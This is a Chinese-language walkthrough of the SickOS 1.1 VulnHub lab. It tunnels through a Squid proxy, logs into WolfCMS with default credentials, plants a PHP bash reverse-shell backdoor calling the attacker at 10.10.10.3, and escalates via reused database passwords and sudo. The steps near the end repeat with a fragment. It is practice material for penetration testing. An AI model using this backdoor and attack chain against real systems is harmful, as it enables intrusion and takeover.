靶机精讲之SickOS1.1,vulnhub靶机,需要配置代理,穿越Squid实现对CMS渗透,完整的攻击链,对基本功要求比较高,不难,但也需要全局观和细节操作。能顺利完成本机渗透,也证明你在不断进步。此为方法一,本机还有全然不同的第二种打法。期待。
------《红队笔记》
主机发现:
sudo nmap -sn 10.10.10.19
端口扫描:
sudo nmap --min-rate 10000 -p- 10.10.10.19
全面扫描:
sudo nmap -sT -sV -O -p22,3128,8080 10.10.10.19
UDP扫描:
sudo -sU -p22,3128,8080 10.10.10.19
漏洞脚本扫描:
sudo nmap --script=vuln -p22,3128,8080 10.10.10.19
以上是 nmap 的基本用法,没什么好说的。
发现 3128 端口是一个代理服务,名为 Squid http proxy
与 http 有关,因此用浏览器先访问一下:10.10.10.19:3128
正常返回页面,但是没发现什么有用的东西。
去百度上搜一搜 Squid 3.1.19 :
Squid代理服务器是基于Unix的代理服务器(proxy server),它缓存比起点源点更接近请求者的互联网内容。Squid支持缓存多种不同的网络对象,包括那些通过HTTP 和 FTP访问的人。
到这里有两条路可走:一是利用Squid代理服务器进行一些操作,二是对 10.10.10.19:3128 进行目录爆破
sudo dirb http://10.10.10.19:3128/
# 注意,这里结尾的 "/" 是必需的。
结果是没有任何发现
sudo gobuster dir -u http://10.10.10.19:3128 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # tab键补齐
结果报错:Error: the server returns a status code that matches the provided options for non existing urls.
意思是,你提供的选项与服务器返回的状态代码匹配,但实际上该URL不存在。可能是由于代理配置不当或被防火墙阻断。
这样的目录爆破似乎行不通。
代理服务器通常可以作为我的代理来使用。
我们可以修改一下上面的目录爆破命令,用该靶机的 3128 端口作为代理,再次进行目录爆破:
sudo dirb http://10.10.10.19 -p http://10.10.10.19:3128
成功返回结果。其中 robots.txt 的重要性不言而喻,其他文件也都很有价值。
接下来我们需要在 web 浏览器上访问这些页面,那么需要给浏览器配置上同样的代理。
给浏览器配置代理:10.10.10.19:3128 (这里将 HTTP Proxy 和 SOCKS Host 都指定了)
访问 http://10.10.10.19/robots.txt:
指出该网站目录下有一个不允许访问的目录 wolfcms 。
CMS 系统指的是“内容管理系统”,可以用来快速搭建网站、管理和发布内容。
访问 http://10.10.10.19/wolfcms,成功进入了该内容管理系统。
WolfCMS 是一个轻量级的 CMS 系统,包含一组插件,支持每页定制,灵活的页面内容和可重用的片段。
我们要知道的不仅是这些,最重要的是要知道它的管理员路径。
搜索 wolfcms admin path :
这里使用谷歌搜索,基本可以确定管理员路径为 /wolfcms/?/admin/,可见精确搜索也是一门技术。
访问该路径,成功出现登录界面。一般来说,遇到登录页面,首先会进行弱密码测试,或者用默认用户名密码尝试。
搜索 wolfcms default username password :
上面是我自己的搜索结果,在搜索时可能会遇到多种用户名与密码的组合,可以多试几次,也可以找出现次数最多,看起来最有可能的去试。
使用 admin-admin 成功登录该内容管理系统。
wolfcms 实际上暴露出了非常多的攻击面,比如说可以在文件中插入语句,上传文件等等。
我们将在 wolfcms 的某个文件中插入 PHP 一句话后门:
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.3/443 0>&1'"); ?>
/bin/bash:指定要执行的外部程序的路径。它是 Linux 系统默认的 Shell 程序。
-c:指定要执行的命令,即 “bash -i >& /dev/tcp/10.10.10.3/443 0>&1” 。
bash -i :产生一个bash交互环境,在Bash命令中,-i参数是用来启动交互式模式的选项。
>:用于重定向标准输出的特殊符号,将输出重定向到指定的文件或设备,即 “/dev/tcp/10.10.10.3/443” 。
&:用于重定向的特殊符号,用来指定将标准错误(stderr)重定向到与标准输出(stdout)相同的位置。
0:表示标准输入(stdin)
1:表示标准输出(stdout)
在给定的命令中,“>&” 这个组合表示将标准输出和标准错误输出重定向到后面指定的文件或设备。“0>&1” 这个组合表示将标准输入重定向为标准输出。
/dev/tcp/10.10.10.3/443:被标准输入和标准输出所指向的路径,即主机名为 10.10.10.3,端口号为 443,建立 tcp 连接,这样一来所有的输入和输出都会显示到 10.10.10.3 这台攻击机上,就达到了反弹 shell 的目的。
sudo nc -lvnp <port>
在访问了带有后门的页面之后,kali 上成功收到了反弹的 shell 。
当前拿到的只是 www-data 的权限,为了能拿到 flag ,我们需要进一步拿到 root 权限或其他正常用户的权限。
whoami
可以查看当前用户的名称。
uname -a
可以查看系统信息。
在当前目录下的 config.php 文件中:
可以看到数据库的用户名是 root ,密码是 john@123 。
通过 cat /etc/passwd
查看到当前系统有 bash 交互环境的用户只有 root 和 sickos
由于 22 端口是开放的,所以我们可以通过 ssh 连接至这台机器,那么猜测一下,这个数据库的密码会不会和这个系统用户的密码相同呢?
ssh [email protected]
输入密码:john@123,失败。
ssh [email protected]
输入密码:john@123,成功。
这样我们就拿到了 sickos 这个用户的权限。
sudo -l
该命令用于列出当前用户可使用sudo命令执行的所有命令和权限。它可以帮助用户了解自己在系统中的权限和访问级别,并且判断用户是否拥有足够的权限来完成某些操作。同时,该命令也可以帮助用户了解系统管理员对系统安全性所做的限制和保护。
返回的结果是该用户拥有所有权限(三个 ALL ),相当于拿到了 root 权限。
sudo /bin/bash
ckos 这个用户的权限。
sudo -l
该命令用于列出当前用户可使用sudo命令执行的所有命令和权限。它可以帮助用户了解自己在系统中的权限和访问级别,并且判断用户是否拥有足够的权限来完成某些操作。同时,该命令也可以帮助用户了解系统管理员对系统安全性所做的限制和保护。
返回的结果是该用户拥有所有权限(三个 ALL ),相当于拿到了 root 权限。
sudo /bin/bash
成功变为 root 用户,渗透完成。